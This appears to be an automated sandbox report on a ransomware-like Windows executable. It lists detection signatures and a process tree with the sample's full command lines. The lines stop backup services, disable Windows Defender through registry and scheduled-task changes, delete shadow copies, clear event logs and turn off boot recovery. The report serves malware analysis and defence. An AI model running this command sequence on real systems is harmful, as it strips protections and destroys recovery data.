Resubmissions

31-01-2022 12:20

220131-ph549ahga6 10

31-01-2022 12:00

220131-n6sndshahl 10

Analysis

  • max time kernel
    11s
  • max time network
    9s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    31-01-2022 12:00

General

  • Target

    06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe

  • Size

    4.2MB

  • MD5

    4685e7981959356439fe0f5643d45450

  • SHA1

    88b7ef25b17528a464758aafa9e853477e391491

  • SHA256

    06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8

  • SHA512

    8aefb153e913544d1e83b98cc964f266e537bd962c44dc2142f33a4ddf356230bc2b10d713fa84c77a33a2a8003cf1ab143f44dee227d7832f5cbd516f94b56f

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 41 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe
    "C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:4700
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:444
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:1276
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:4852
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5112
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:4904
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2704
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:3380
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3528
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:628
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4288
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:4556
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_16b91" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3016
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_16b91" /y
                      3⤵
                        PID:4056
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                        PID:5060
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SDRSVC" start= disabled
                        2⤵
                          PID:3068
                        • C:\Windows\SYSTEM32\sc.exe
                          sc.exe config "SstpSvc" start= disabled
                          2⤵
                            PID:1712
                          • C:\Windows\SYSTEM32\sc.exe
                            sc.exe config "vmicvss" start= disabled
                            2⤵
                              PID:1328
                            • C:\Windows\SYSTEM32\sc.exe
                              sc.exe config "VSS" start= disabled
                              2⤵
                                PID:1832
                              • C:\Windows\SYSTEM32\sc.exe
                                sc.exe config "wbengine" start= disabled
                                2⤵
                                  PID:860
                                • C:\Windows\SYSTEM32\sc.exe
                                  sc.exe config "WebClient" start= disabled
                                  2⤵
                                    PID:440
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc.exe config "UnistoreSvc_16b91" start= disabled
                                    2⤵
                                      PID:4980
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:3272
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:4124
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:4268
                                          • C:\Windows\SYSTEM32\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:504
                                            • C:\Windows\SYSTEM32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:4012
                                              • C:\Windows\SYSTEM32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:1648
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:5016
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:4328
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:4492
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:3840
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:3104
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1572
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:1996
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:1184
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:4048
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:3380
                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:632
                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:1984
                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:1836
                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:3564
                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:2244
                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:256
                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:4600
                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:4896
                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:1508
                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:2312
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:3312
                                                                                          • C:\Windows\SYSTEM32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:3108
                                                                                            • C:\Windows\SYSTEM32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:2960
                                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:4088
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:4000
                                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:4884
                                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:4672
                                                                                                    • C:\Windows\SYSTEM32\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:3604
                                                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1956
                                                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:4700
                                                                                                    • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                      wevtutil.exe cl application
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1432
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:4820
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe shadowcopy delete
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1544
                                                                                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:1420
                                                                                                    • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} recoveryenabled no
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:628
                                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                      2⤵
                                                                                                        PID:3188
                                                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                        2⤵
                                                                                                          PID:3792
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                            3⤵
                                                                                                              PID:224
                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe 2b897f4176e0972ee77af72d0bec46f5 X18VADYF3EirDh9ErzgbEQ.0.1.0.0.0
                                                                                                          1⤵
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:1608
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                          1⤵
                                                                                                          • Drops file in Windows directory
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2436

                                                                                                        Network

                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                        Replay Monitor

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                                                                                                        Downloads

                                                                                                        • memory/2436-130-0x00000226F9390000-0x00000226F93A0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2436-137-0x00000226FC010000-0x00000226FC014000-memory.dmp

                                                                                                          Filesize

                                                                                                          16KB